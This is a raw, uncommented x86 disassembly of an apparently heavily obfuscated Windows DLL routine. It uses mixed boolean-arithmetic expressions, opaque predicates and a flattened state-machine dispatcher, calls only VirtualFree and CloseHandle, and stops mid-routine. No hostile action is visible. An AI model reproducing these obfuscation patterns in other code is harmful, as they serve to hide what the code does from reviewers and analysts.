xor eax, 0x414c040
xor ebp, 0x9a0200b8
and eax, 0x2575e647
and ebp, 0xda8a19b8
or ebp, eax
mov esi, ebp
xor esi, 0x2575e647
mov eax, edx
not eax
mov edi, ebp
xor edi, 0xda8a19b8
mov ebx, edi
and ebx, 0xf7111922
xor ebp, 0xaa3cabf8
and ebp, esi
and esi, 0x8eee6dd
or esi, ebx
mov ecx, eax
and ecx, 0xf7111922
mov ebx, edx
and ebx, 0x8eee6dd
or ebx, ecx
xor ebx, esi
mov esi, ebx
xor esi, edi
and esi, ebx
and edi, 0x8f494dbf
or ebp, edi
mov ecx, eax
and ecx, 0x11e1bd53
mov edi, edx
and edi, 0xee1e42ac
or edi, ecx
mov ecx, ebp
xor ecx, 0x10a0b040
xor ebp, 0x8e0840ac
and ecx, 0x11e1bd53
and ebp, 0xee1e42ac
or ebp, ecx
xor ebp, edi
not ebp
or ebp, eax
mov ecx, esi
not ecx
mov edi, ecx
or edi, ebp
and ecx, 0x784006c2
and esi, 0x87bff93d
or esi, ecx
xor esi, ebp
mov ecx, esi
xor ecx, 0x87bff93d
xor esi, 0x784006c2
mov ebx, esi
and ebx, 0x699cc59a
and ecx, 0x96633a65
or ecx, ebx
xor ecx, edi
or esi, edi
xor ecx, 0x96633a65
not esi
or esi, ecx
mov ecx, eax
and ecx, 0x5dee5d5f
and eax, edx
and edx, 0xa211a2a0
or edx, ecx
mov ecx, esi
not ecx
xor edx, 0xa211a2a0
or edx, eax
mov eax, esi
and esi, 0x963393d0
and ecx, 0x69cc6c2f
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0x963393d0
and edx, 0x69cc6c2f
or edx, esi
xor edx, ecx
mov esi, edx
not esi
mov ecx, esi
and ecx, 0x5ac405a6
and edx, 0xa53bfa59
or edx, ecx
xor edx, eax
xor edx, 0xa53bfa59
or esi, eax
not esi
or esi, edx
mov eax, esi
mov ecx, esi
xor ecx, 0xfe20daf2
and ecx, esi
not esi
xor eax, 0x1d2108
mov edx, eax
or edx, 0x1c50500
and edx, 0x4de5d760
and esi, 0xb2000892
or esi, edx
mov edx, ecx
not edx
or eax, edx
and edx, 0x4de5d760
and ecx, 0xb21a289f
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
not ecx
and ecx, 0x1df250d
and eax, 0xfe20daf2
or eax, ecx
setne cl
sete ch
cmp dword [0x10047904], 0xa
setge al
setl dl
mov dh, ch
and dh, dl
mov ah, al
and ah, cl
or ah, dh
xor ah, 1
or ah, dl
xor ah, 1
xor ch, dl
mov dh, ch
xor dh, ah
or ch, ah
xor ch, 1
or ch, dh
xor dh, 1
mov ah, dh
xor ah, ch
or ch, dh
xor ch, 1
or ch, ah
mov dh, ch
xor dh, 1
mov ah, dh
and ah, ch
xor ah, 1
or ah, dh
xor ah, 1
or ah, ch
mov ch, ah
xor ch, 1
xor al, cl
or cl, dl
and al, dl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov dh, al
xor dh, ch
mov cl, ch
and cl, ah
xor cl, 1
or cl, ch
mov dl, ch
or dl, al
xor cl, 1
or cl, ah
mov ch, cl
and cl, al
xor al, 1
xor dl, 1
or dl, dh
mov ah, dl
xor ah, 1
xor ch, 1
and ch, al
or cl, ch
mov ch, cl
xor ch, 1
mov al, cl
and al, ch
xor al, 1
or al, cl
xor al, 1
or al, ch
xor al, ah
and ch, ah
or ah, cl
and cl, dl
or cl, ch
mov edx, eax
xor dl, 1
xor ah, 1
or cl, ah
mov ah, cl
xor ah, 1
and ah, al
or al, cl
and cl, dl
or cl, ah
mov edx, eax
xor dl, cl
test cl, 1
mov edi, 0xa7dacb21
mov ecx, 0xb48591b0
cmovne edi, ecx
test al, 1
mov eax, 0xa7dacb21
cmovne edi, eax
test dl, 1
cmove edi, ecx
jmp 0x10008b80
cmp edi, 0x3df3814a
je 0x1001fc1b
cmp edi, 0x42597b90
jne 0x10008b80
mov eax, dword [esp + 0x44]
cmp eax, 2
mov edi, 0x56eb1ada
mov eax, 0x3141c8a6
cmovb edi, eax
jmp 0x10008b80
cmp edi, 0xa2b5ab21
je 0x100210ba
cmp edi, 0xa7dacb21
jne 0x10008b80
push 0x8000
push 0
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, 0xbd6664e9
jmp 0x10008b80
cmp edi, 0x7438911e
je 0x100210db
cmp edi, 0x74738236
jne 0x10008b80
mov eax, dword [0x10047900]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
mov edi, edx
and eax, 0x8e9b528d
mov edx, ecx
mov esi, ecx
and edx, 0x7164ad72
or edx, eax
mov ecx, edx
xor ecx, 0x40200450
xor edx, 0x8e9b528d
mov ebp, edx
mov edx, edi
mov ebx, edi
mov dword [esp + 0xc], edi
and edx, esi
mov edi, esi
mov dword [esp + 8], esi
mov esi, edx
not esi
mov eax, ebp
and eax, 0x10004122
and ecx, 0xc0201650
or ecx, eax
or ebp, esi
and esi, 0x10004122
and edx, 0xc0201650
or edx, esi
xor edx, ecx
not ebp
or ebp, edx
mov eax, ebx
and eax, 0xb8a3c129
mov edx, edi
and edx, 0x475c3ed6
or edx, eax
mov ebx, edx
xor ebx, 0x475c3ed6
xor edx, 0x20830128
and edx, 0x65873bea
mov eax, ebx
and eax, 0x9a78c415
or eax, edx
xor eax, 0xb5a76c98
and ebx, 0xd0205772
or ebx, eax
mov esi, ebx
not esi
mov edx, ebx
and edx, 0x73c7611f
xor ebx, 0xd22168a4
and ebx, esi
and esi, 0x8c389ee0
or esi, edx
mov eax, esi
xor eax, 0x8c389ee0
mov dword [esp], eax
and eax, 0x2dde975b
or ebx, eax
mov eax, ebp
mov dword [esp + 0x10], ebp
mov edx, ebp
and edx, 0xd0205772
mov ecx, edx
not ecx
mov dword [esp + 4], ecx
mov edi, edx
xor edi, 0x2dde975b
and edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0x2200912
and edi, 0xd84ed661
or edi, ebp
mov ebp, eax
xor ebp, 0x1752
and ebp, edx
mov eax, ebp
not eax
or ecx, eax
and eax, 0x27b0091a
and ebp, 0xd0005660
or ebp, eax
xor ebp, edi
not ecx
or ecx, ebp
xor ecx, ebx
mov edi, dword [esp + 0x10]
and edi, 0x204350
mov eax, dword [esp + 4]
and eax, 0xf40d9422
or eax, edi
mov edi, eax
xor esi, 0x73c7611f
or edx, esi
and esi, 0xbf26bdd
mov eax, dword [esp]
and eax, 0xf40d9422
or eax, esi
xor eax, edi
not edx
or edx, eax
not edx
or edx, ecx
mov edi, edx
mov eax, edx
xor eax, 0x2fdfa88d
and eax, edx
not edx
or edi, 0xd0205772
mov ecx, eax
not ecx
mov esi, edi
and esi, 0x6e11b9a0
and edx, 0x1ce000d
or edx, esi
or edi, ecx
and ecx, 0x6e11b9a0
and eax, 0x91ee465f
or eax, ecx
xor eax, edx
not edi
or edi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x74caac6a
and eax, 0x8b355395
and edi, 0x74caac6a
or edi, eax
or edi, ecx
mov eax, edi
not eax
and eax, 0x590e858
and edi, 0xfa6f17a7
or edi, eax
mov ecx, dword [esp + 0xc]
and ecx, 0x2df2d39
mov eax, dword [esp + 8]
and eax, 0xfd20d2c6
or eax, ecx
mov ecx, eax
xor ecx, 0xfd20d2c6
mov edx, eax
xor edx, 0x2150111
xor eax, 0x89ea7eac
and eax, ecx
and edx, 0x8b355395
and ecx, 0x74caac6a
or ecx, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xa8e2cbfe
and eax, ecx
and ecx, 0x571d3401
or ecx, edx
xor ecx, 0x571d3401
or ecx, eax
mov eax, ecx
not eax
mov dword [esp + 4], eax
and eax, 0x690081
mov edx, ecx
and edx, 0x70863848
or edx, eax
xor edx, 0x70863848
mov eax, ecx
xor eax, 0x70ef38c9
and eax, ecx
or eax, edx
mov dword [esp], eax
mov esi, edi
xor esi, 0x590e858
mov ebx, edi
xor edi, 0xfa6f17a7
mov eax, edi
mov dword [esp + 0x14], edi
and eax, 0xe133a26b
mov edx, esi
mov dword [esp + 0x10], esi
and edx, 0x1ecc5d94
or edx, eax
mov ebp, edx
xor ebp, edi
and ebp, edx
xor ebx, 0x4a0e0525
and esi, 0xb0715292
and ebx, 0x4f8ead6d
or ebx, esi
mov eax, dword [esp]
mov edx, eax
xor edx, 0x8f10c736
mov dword [esp + 0x1c], edx
xor eax, 0x70ef38c9
mov dword [esp], eax
and eax, 0xe133a26b
and edx, 0x1ecc5d94
or edx, eax
mov dword [esp + 0x20], edx
and ecx, 0x57a601c3
mov edx, dword [esp + 4]
mov eax, edx
and eax, 0xa859fe3c
or eax, ecx
xor eax, 0x496a5c57
and edx, 0x1ecc5d94
or edx, eax
mov dword [esp + 4], edx
mov eax, ebp
not eax
mov dword [esp + 0x24], eax
mov ecx, ebp
xor ecx, 0x9a95eb40
mov edx, ecx
and edx, eax
mov eax, edx
not eax
mov edi, eax
and edi, 0xd424a00e
and edx, 0x2bdb5ff1
or edx, edi
and ecx, ebp
mov edi, ecx
not edi
or eax, edi
and edi, 0xd424a00e
and ecx, 0x2bdb5ff1
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
xor ebx, 0x5142f0f9
or ebx, dword [esp + 0x10]
mov edx, ebx
not edx
mov ecx, edx
or ecx, 0x21600408
and ecx, 0x3b71ce08
mov edi, ebx
and edi, 0x80842140
or edi, ecx
mov esi, ebx
or esi, 0x1a11ca00
and esi, 0x3b71ce08
mov ecx, edx
and ecx, 0x440a10b7
or ecx, esi
xor ecx, edi
xor ecx, eax
mov eax, ebp
and eax, 0x72ecc99f
mov esi, dword [esp + 0x24]
and esi, 0x8d133660
or esi, eax
or ebp, edx
and edx, 0x72ecc99f
and ebx, 0x8d133660
or ebx, edx
xor ebx, esi
not ebp
or ebp, ebx
mov edx, ecx
not edx
mov eax, edx
and eax, 0x3732ac30
and ecx, 0xc8cd53cf
or ecx, eax
mov eax, ebp
not eax
or edx, ebp
and ebp, 0x3732ac30
and eax, 0xc8cd53cf
or eax, ebp
xor eax, ecx
not edx
or edx, eax
mov ecx, dword [esp + 0x20]
not ecx
mov ebx, dword [esp]
or ecx, ebx
mov esi, ecx
not esi
mov eax, esi
mov edi, dword [esp + 4]
xor eax, edi
and eax, esi
and ecx, 0x807644f1
and esi, 0x7f89bb0e
or esi, ecx
mov ecx, edi
not ecx
and edi, 0x807644f1
and ecx, 0x7f89bb0e
or ecx, edi
xor ecx, esi
or ecx, eax
mov esi, ecx
not esi
mov eax, ecx
xor eax, 0xc1f6b239
and esi, eax
and eax, ecx
mov ecx, edx
xor ecx, 0xc1f6b239
and ecx, edx
mov ebp, edx
not edx
or ebp, 0x3e094dc6
mov edi, ebp
and edi, 0x630d6c4
and edx, 0xc1c62039
or edx, edi
mov edi, ecx
not edi
or ebp, edi
and edi, 0x630d6c4
and ecx, 0xf9cf293b
or ecx, edi
xor ecx, edx
not ebp
or ebp, ecx
mov edx, esi
not edx
mov ecx, edx
and ecx, 0x259dd382
and esi, 0xda622c7d
or esi, ecx
mov ecx, eax
not ecx
or edx, ecx
and ecx, 0x259dd382
and eax, 0xda622c7d
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov ecx, edx
xor ecx, edx
not ecx
and ecx, ebp
xor ecx, edx
mov edx, dword [esp + 0x10]
mov eax, edx
mov edi, ebx
xor eax, ebx
and eax, edx
mov esi, dword [esp + 0x14]
and esi, 0x7387db3d
and edx, 0x8c7824c2
or edx, esi
and edi, 0x7387db3d
mov esi, edi
mov edi, dword [esp + 0x1c]
and edi, 0x8c7824c2
or edi, esi
xor edi, edx
mov esi, eax
not esi
mov edx, esi
and edx, 0x39f6c7bf
and eax, 0xc6093840
or eax, edx
mov edx, edi
not edx
or esi, edx
and edx, 0x39f6c7bf
and edi, 0xc6093840
or edi, edx
xor edi, eax
not esi
or esi, edi
mov edi, esi
not edi
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0x4ae50811
or edx, esi
and esi, 0xdaf55e31
and edi, 0x250aa1ce
or edi, esi
xor ecx, 0x500a086
and ecx, 0x9510f6a6
and eax, 0x6aef0959
or eax, ecx
xor eax, edi
mov esi, eax
xor esi, 0x9510f6a6
mov ecx, edx
not ecx
xor eax, 0x6aef0959
mov edi, eax
and edi, 0x6100b0c3
and esi, 0x9eff4f3c
or esi, edi
or eax, edx
and edx, 0x6100b0c3
and ecx, 0x9eff4f3c
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xe71bc6b2
mov esi, ecx
and esi, 0x18e4394d
or esi, edx
mov edx, esi
xor edx, 0x640a0402
xor esi, 0x10800009
and esi, 0x10808029
and edx, 0x644a2c42
or edx, esi
mov esi, edx
xor esi, 0x40402800
or esi, 0x89341180
xor edx, 0x808020
and edx, 0x248a8462
and esi, 0xd9743989
or esi, edx
mov edx, esi
xor edx, 0xd9743989
xor esi, 0x268bc676
mov edi, esi
and edi, 0x878759d
mov ebp, edx
and ebp, 0x74828862
or ebp, edi
or ecx, 0x74caac6b
mov ebx, ecx
not ebx
mov edi, ecx
and edi, 0x878759d
xor eax, 0x8305194
and eax, ebx
or eax, edi
mov edi, eax
xor edi, eax
not edi
and edi, ebp
xor edi, eax
mov eax, edx
and eax, 0x648a0842
and esi, 0x9b45e7a9
or esi, eax
or edx, ebx
and ebx, 0x301014
and ecx, 0x9b45e7a9
or ecx, ebx
xor ecx, esi
not edx
or edx, ecx
not edx
or edx, edi
mov ebx, edx
mov eax, dword [esp + 0xc]
and eax, 0x2e3c91da
mov ecx, dword [esp + 8]
and ecx, 0xd1c36e25
or ecx, eax
mov eax, ecx
xor eax, 0xd1c36e25
xor ecx, 0x2e3c91da
mov esi, ecx
mov edx, ecx
and esi, eax
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0xd4b3205
and esi, 0xf2b4cdfa
or esi, edi
or ecx, edx
and edx, 0xd4b3205
and eax, 0xf2b4cdfa
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov edx, ebx
mov ebp, ebx
not ebp
mov dword [esp], ebp
mov esi, ebp
and esi, ebx
mov eax, esi
not eax
mov edi, ebx
and edi, 0x716f70d9
and ebp, 0x8e908f26
or ebp, edi
mov dword [esp + 4], ebx
or ebx, eax
and eax, 0x716f70d9
and esi, 0x8e908f26
or esi, eax
xor esi, ebp
not ebx
or ebx, esi
mov edi, ecx
not edi
mov eax, edi
and eax, 0x98322725
mov ebp, ecx
and ebp, 0x67cdd8da
or ebp, eax
mov esi, ebx
not esi
and ebx, 0x98322725
and esi, 0x67cdd8da
or esi, ebx
xor esi, ebp
not esi
or esi, edi
mov eax, edi
and eax, 0xa0a94e2c
and edi, ecx
and ecx, 0x5f56b1d3
or ecx, eax
xor ecx, 0x5f56b1d3
or ecx, edi
mov eax, dword [esp]
and eax, 0x26a3f145
mov edi, edx
and edi, 0xd95c0eba
or edi, eax
xor edi, 0xd95c0eba
not ecx
or ecx, edi
mov eax, ecx
not eax
mov ebx, ecx
and ebx, 0xec589ca3
mov edi, eax
and edi, 0x13a7635c
or edi, ebx
mov ebx, esi
not ebx
mov ebp, ebx
or ebp, 0x40024831
and ebp, 0x400ac831
mov edx, esi
and edx, 0x8b842504
or edx, ebp
mov ebp, esi
or ebp, 0x88000
and ebp, 0x400ac831
and ebx, 0x347112ca
or ebx, ebp
xor ebx, edx
mov ebp, edi
xor ebp, 0x13a7635c
xor edi, 0x8008400
or edi, 0x304210fb
and edi, 0x3ac2b5fb
or esi, ebp
and ebp, 0x810c0004
or ebp, edi
or ecx, 0xa80a500
and ecx, 0x3ac2b5fb
and eax, 0x44314a00
or eax, ecx
xor eax, ebp
xor eax, ebx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xbd0b6fb
and eax, 0xf42f4904
or eax, edx
mov edx, esi
not edx
or ecx, esi
and esi, 0xbd0b6fb
and edx, 0xf42f4904
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov edx, dword [esp]
and edx, 0xf2bf745b
mov eax, dword [esp + 4]
and eax, 0xd408ba4
or eax, edx
xor eax, 0xd408ba4
mov edi, eax
xor edi, ecx
and edi, eax
mov ebx, eax
mov eax, edi
not eax
mov edx, eax
and edx, 0xe3cba73b
and edi, 0x1c3458c4
or edi, edx
mov esi, ecx
not esi
or ebx, esi
xor edi, ebx
or eax, ebx
xor edi, 0x1c3458c4
not eax
or eax, edi
mov edx, ecx
and edx, 0x54baad18
and esi, 0xab4552e7
or esi, edx
xor esi, eax
xor esi, 0xab4552e7
or eax, ecx
not eax
or eax, esi
xor eax, 0xca23bce1
xor eax, 0x35dc431e
sete dh
setne dl
cmp dword [0x10047904], 0xa
setl al
setge cl
mov ah, dl
and ah, cl
mov ch, al
and ch, dh
mov byte [esp], dh
or ch, ah
mov bl, ch
xor bl, cl
and bl, ch
mov ah, ch
xor ah, 1
or ah, dh
mov ch, bl
and bl, ah
xor ah, 1
xor ch, 1
mov dh, ah
xor dh, ch
and dh, ah
and ch, ah
mov bh, al
or ch, bl
inc bh
mov bl, byte [esp]
mov ah, bl
xor ah, bh
and bh, bl
mov bl, dl
and dl, al
or bh, dl
or bl, al
xor bh, 1
or bh, al
or ch, dh
and al, ch
xor ch, 1
and cl, ch
or cl, al
xor cl, 1
or cl, ch
mov edx, ecx
xor dl, 1
xor bl, 1
or bl, ah
xor bl, 1
xor bh, bl
and bl, bh
xor bl, 1
mov eax, ebx
xor al, bh
or bl, bh
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
mov ah, al
and ah, bl
xor ah, 1
or ah, bl
xor ah, 1
or ah, al
mov al, cl
and al, dl
xor al, 1
or al, cl
xor al, 1
or al, dl
mov ch, ah
xor ch, 1
mov dh, ch
xor dh, al
and dh, ah
or al, ah
xor al, 1
or al, dh
xor dl, ah
and dl, ah
or ch, cl
xor ah, cl
and ah, cl
xor ah, 1
mov cl, ch
xor cl, ah
or ah, ch
xor ah, 1
or ah, cl
mov ecx, edx
xor cl, 1
mov ch, dl
and ch, cl
xor ch, 1
or ch, cl
xor ch, 1
or ch, dl
mov dl, ch
xor dl, 1
and dl, ah
xor ah, 1
and ch, ah
or ah, cl
xor ah, 1
or ah, ch
or ah, dl
mov ch, ah
xor ch, 1
mov dl, ch
and dl, ah
xor dl, 1
mov dh, ah
xor dh, dl
or dl, ah
xor dl, 1
or dh, dl
mov cl, dh
xor cl, 1
and cl, dh
mov dh, cl
xor dh, 1
and dh, cl
xor dh, 1
mov ebx, ecx
xor bl, dh
or dh, cl
xor dh, 1
or dh, bl
or dl, ch
mov ch, dh
xor ch, 1
and ch, dl
xor dl, 1
and dl, dh
mov dh, cl
xor dh, ah
or cl, ah
xor cl, 1
or cl, dh
xor cl, 1
or cl, dl
or cl, ch
mov edx, ecx
xor dl, 1
mov ah, al
xor ah, 1
mov ch, ah
xor ch, dl
and ch, ah
xor ah, cl
or cl, al
and ah, al
xor ah, 1
mov dh, cl
xor dh, ah
or ah, cl
xor ah, 1
or ah, dh
xor dl, al
or dl, ch
mov al, dl
xor al, 1
mov ecx, edx
and cl, ah
xor ah, 1
and al, ah
or al, cl
or ah, dl
mov cl, ah
xor cl, al
test cl, 1
mov ecx, 0x7438911e
mov edx, 0x6fc90b38
cmovne ecx, edx
test ah, 1
mov edi, 0x7438911e
cmovne edi, ecx
test al, 1
cmove edi, ecx
jmp 0x10008b80
cmp edi, 0xf780ee1d
je 0x10008b6d
cmp edi, 0xf905f09e
jne 0x10008b80
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0xe259af3c
mov dword [esp + 0x18], 1
jmp 0x10008b80
cmp edi, 0x14c60b94
je 0x100219b9
cmp edi, 0x1983f8fb
jne 0x10008b80
mov ecx, dword [0x10047900]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x673d961
and edx, eax
mov esi, eax
or esi, 0x89042600
mov edi, edx
not edi
and esi, 0x8d152f41
mov ebx, ecx
and ebx, 0x262d020
or ebx, esi
mov esi, eax
or esi, edi
and edi, 0x8d152f41
and edx, 0x72ead0be
or edx, edi
xor edx, ebx
not esi
or esi, edx
not edx
and edx, 0xf98c269e
and esi, 0x673d961
or esi, edx
mov edx, esi
or edx, 0x492db00a
mov edi, esi
xor edi, 0xb6d24ff5
and edi, esi
mov ebx, esi
not ebx
and esi, 0x649af7e6
mov ebp, ebx
and ebp, 0x9b650819
or ebp, esi
mov esi, edx
and esi, 0x11e955df
xor ebp, 0x9b650819
or ebp, ebx
and ebx, 0xa6120a20
or ebx, esi
mov esi, edi
not esi
or edx, esi
and esi, 0x11e955df
and edi, 0xee16aa20
or edi, esi
xor edi, ebx
not edx
or edx, edi
mov esi, edx
xor esi, 0x30404db1
xor edx, 0x492db00a
mov edi, edx
and edi, 0x87bab244
and esi, 0x78454dbb
or esi, edi
xor esi, ebp
xor esi, 0x78454dbb
or edx, ebp
not edx
or edx, esi
mov esi, edx
not esi
mov edi, esi
and edi, 0xc3886cf6
and edx, 0xca837e18
and esi, 0x357c81e7
or esi, edx
xor esi, 0x90b12ee
or esi, edi
mov edi, esi
not edi
and esi, 0x79189970
and edi, 0x86e7668f
or edi, esi
mov edx, edi
xor edx, 0x80a64201
xor edi, 0x30080000
and edi, 0x3649248e
and edx, 0xc9b6db71
or edx, edi
mov esi, edx
xor esi, 0xc9b6db71
and ecx, 0x34b0f6a3
and eax, 0xcb4f095c
or eax, ecx
mov edi, eax
xor edi, 0xcb4f095c
mov ecx, eax
xor ecx, 0x8c765aa
and ecx, edi
xor eax, 0x3281
and eax, 0xc14b3b99
and edi, 0x3eb4c466
or edi, eax
mov ebx, edi
xor ebx, 0x65142810
mov eax, ecx
not eax
xor edi, 0x2c3576f
mov ebp, eax
and ebp, 0x98e892e2
and ecx, 0x67176d1d
or ecx, ebp
or eax, edi
and edi, 0x98e892e2
and ebx, 0x67176d1d
or ebx, edi
xor ebx, ecx
not eax
or eax, ebx
mov ebx, eax
not ebx
xor edx, 0x3649248e
mov ecx, ebx
mov edi, eax
mov ebp, eax
and eax, 0x71789be4
and ebx, 0x8e87641b
or ebx, eax
mov eax, edx
and eax, 0x47bb95d4
or ebp, esi
xor ebx, edx
xor ebx, 0x8e87641b
and ebx, esi
and esi, 0xb8446a2b
or esi, eax
and ecx, 0x47bb95d4
and edi, 0xb8446a2b
or edi, ecx
xor edi, esi
not edi
or edi, edx
mov eax, edi
not eax
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x873b1b1d
and ebx, 0x78c4e4e2
or ebx, edx
xor ebx, ebp
xor ebx, 0x78c4e4e2
or ecx, ebp
not ecx
or ecx, ebx
mov esi, ecx
not esi
mov edx, eax
xor edx, esi
and edx, eax
and edi, 0xcb8d3aac
and eax, 0x3472c553
or eax, edi
and esi, 0xcb8d3aac
and ecx, 0x3472c553
or ecx, esi
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x80b8111c
mov esi, ecx
and esi, 0x6c028602
or esi, edx
mov edx, esi
xor edx, 0x8000602
xor esi, 0x90187004
mov ebx, eax
or ebx, 0xc0181004
and esi, 0xd0187004
and edx, 0x8a00602
or edx, esi
and ebx, 0xd0187004
mov edi, ecx
and edi, 0x4408c1
or edi, ebx
xor edi, edx
mov esi, edi
xor esi, 0x104468c1
mov edx, eax
and edx, 0xd8fc7ec7
and ecx, 0x27038138
or ecx, edx
xor eax, ecx
and eax, ecx
mov ecx, eax
not ecx
mov edx, esi
xor edx, ecx
and edx, esi
xor edi, 0x80999300
and edi, 0x90d9d340
and esi, 0x48242c87
or esi, edi
and ecx, 0x90d9d340
and eax, 0x6f262cbf
or eax, ecx
xor eax, esi
mov edi, edx
not edi
mov ecx, eax
not ecx
mov esi, edi
and esi, 0x55b3d833
and edx, 0x8a4c27cc
or edx, esi
or edi, ecx
and ecx, 0x55b3d833
and eax, 0xaa4c27cc
or eax, ecx
xor eax, edx
not edi
or edi, eax
mov eax, edi
not eax
mov ecx, eax
or ecx, 0x14121550
mov edx, edi
or edx, 0xc86200
and edx, 0x14da7750
and eax, 0x8025800a
or eax, edx
and ecx, 0x14da7750
and edi, 0x6b0008a5
or edi, ecx
xor edi, eax
mov edx, edi
xor edx, 0x8f43876b
xor edi, 0x70bc7894
mov eax, edi
mov ebp, edi
and eax, 0xa022c84a
mov esi, edx
and esi, 0xb0010a0
or esi, eax
xor esi, 0xb0010a0
mov ecx, edi
and ecx, 0x54dd2715
or ecx, esi
mov eax, ecx
not eax
mov edi, ecx
xor edi, 0xaa7db249
and edi, eax
mov esi, ecx
and esi, 0x55824db6
or esi, edi
mov edi, esi
xor edi, 0x224d0048
and ecx, 0xf6728f27
mov ebx, eax
and ebx, 0x98d70d8
or ebx, ecx
xor ebx, 0x98d70d9
and eax, 0xfffffffe
or eax, ebx
mov ecx, eax
not ecx
xor esi, 0x55824db7
mov ebx, esi
and ebx, 0x9932bf81
and edi, 0x66cd407e
or edi, ebx
or esi, eax
and eax, 0x9932bf81
and ecx, 0x66cd407e
or ecx, eax
xor ecx, edi
not esi
or esi, ecx
mov ecx, esi
not ecx
mov eax, esi
and eax, 0xe1e7531f
and ecx, 0x1e18ace0
or ecx, eax
xor ecx, 0x1e18ace0
or ecx, esi
mov dword [esp], ecx
mov eax, edx
and eax, 0x52ae6a4b
mov ecx, ebp
and ecx, 0xad5195b4
or ecx, eax
mov eax, ecx
xor eax, 0x40046848
xor ecx, 0x85508534
and ecx, 0x97fa8737
and eax, 0x680578c8
or eax, ecx
mov esi, eax
xor esi, 0x680578c8
xor eax, 0x830a8717
and eax, 0xab0a9f9f
mov ecx, esi
and ecx, 0x54f56060
or ecx, eax
xor ecx, 0x43a04476
and esi, 0xe8aadbe9
or esi, ecx
mov eax, esi
not eax
and edx, 0xa7df0667
mov ecx, ebp
and ecx, 0x5820f998
or ecx, edx
xor ecx, 0xb08a2271
and ebp, 0x17552416
or ebp, ecx
mov ecx, esi
and ecx, 0x3ff968ba
xor esi, 0xddd1a03d
and esi, eax
and eax, 0xc0069745
or eax, ecx
mov dword [esp + 8], eax
mov edx, eax
xor edx, 0x3ff968ba
mov ebx, edx
or ebx, 0xddd1a03d
xor eax, 0x40000
mov ecx, ebx
and ecx, 0x3e9a1771
and eax, 0x244882
or eax, ecx
mov ecx, esi
not ecx
or ebx, ecx
and ecx, 0x3e9a1771
and esi, 0xc165e88e
or esi, ecx
xor esi, eax
mov dword [esp + 4], ebp
mov ecx, ebp
xor ecx, 0xddd1a03d
not ebx
or ebx, esi
mov esi, ecx
and esi, ebp
mov ebp, esi
not ebp
mov eax, ebp
and eax, 0x7b6bf42d
and esi, 0x84940bd2
or esi, eax
mov edi, dword [esp + 4]
not edi
and ecx, edi
mov eax, ecx
not eax
or ebp, eax
and eax, 0x7b6bf42d
and ecx, 0x84940bd2
or ecx, eax
xor ecx, esi
not ebp
or ebp, ecx
mov esi, ebp
xor esi, ebp
not esi
and esi, ebx
mov ecx, dword [esp + 8]
xor ecx, 0x80008600
xor esi, ebp
mov eax, edx
and eax, 0x643f59d5
and ecx, 0x9bc0a62a
or ecx, eax
mov ebp, dword [esp]
not ebp
or edx, edi
and edi, 0x643f59d5
mov eax, dword [esp + 4]
and eax, 0x9bc0a62a
or eax, edi
xor eax, ecx
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, esi
not eax
mov edi, eax
and edi, 0x6b1c6a54
and esi, 0x94e395ab
or esi, edi
or eax, edx
and edx, 0x6b1c6a54
and ecx, 0x94e395ab
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov edi, eax
mov ecx, eax
xor ecx, 0xe88bd5f8
and ecx, eax
not eax
or edi, 0x17742a07
mov edx, ecx
not edx
mov esi, edi
and esi, 0x92e33761
and eax, 0x6808c098
or eax, esi
or edi, edx
and edx, 0x92e33761
and ecx, 0x6d1cc89e
or ecx, edx
xor ecx, eax
not edi
or edi, ecx
mov esi, edi
xor esi, 0x210e10
mov ecx, ebp
mov ebx, ebp
mov edx, dword [esp]
mov eax, edx
and eax, 0x912e7afc
and ebp, 0x6ed18503
or ebp, eax
mov eax, edx
xor ebp, 0xf282147e
or ebp, edx
and edx, 0x13466217
and ecx, 0xecb99de8
or ecx, edx
mov edx, ecx
xor edx, 0x40000008
xor ecx, 0x10020201
or eax, 0x901a0701
or ecx, 0x80b854
and ecx, 0x909abf55
and edx, 0x4144400a
or edx, ecx
and eax, 0x909abf55
and ebx, 0x2e2100a0
or ebx, eax
xor ebx, edx
mov dword [esp + 4], ebx
xor edi, 0xffdef1ef
mov eax, edi
and eax, esi
mov ecx, esi
mov ebx, edi
and ebx, 0xc7c12e89
mov edx, esi
and esi, 0x383ed176
or esi, ebx
and ecx, 0xd4b29f40
xor esi, 0xa46d400b
or esi, edi
and edi, 0x2b4d60bf
or edi, ecx
mov ecx, eax
not ecx
or edx, ecx
and ecx, 0xd4b29f40
and eax, 0x2b4d60bf
or eax, ecx
mov ecx, dword [esp + 4]
mov ebx, ecx
xor ebx, 0x2ea1b8f4
xor eax, edi
not edx
or edx, eax
mov edi, ecx
xor edi, 0xd15e470b
mov dword [esp + 8], edi
mov eax, edi
and eax, 0xd3ad5d1a
mov ecx, ebx
and ecx, 0x2c52a2e5
or ecx, eax
xor ecx, 0xb0013398
mov eax, ecx
xor eax, edi
and eax, ecx
mov ecx, eax
not ecx
mov edi, ecx
and ecx, 0xe5b4b5d1
and eax, 0x1a4b4a2e
or eax, ecx
or edi, ebp
xor eax, ebp
mov ecx, eax
xor ecx, 0x1a4b4a2e
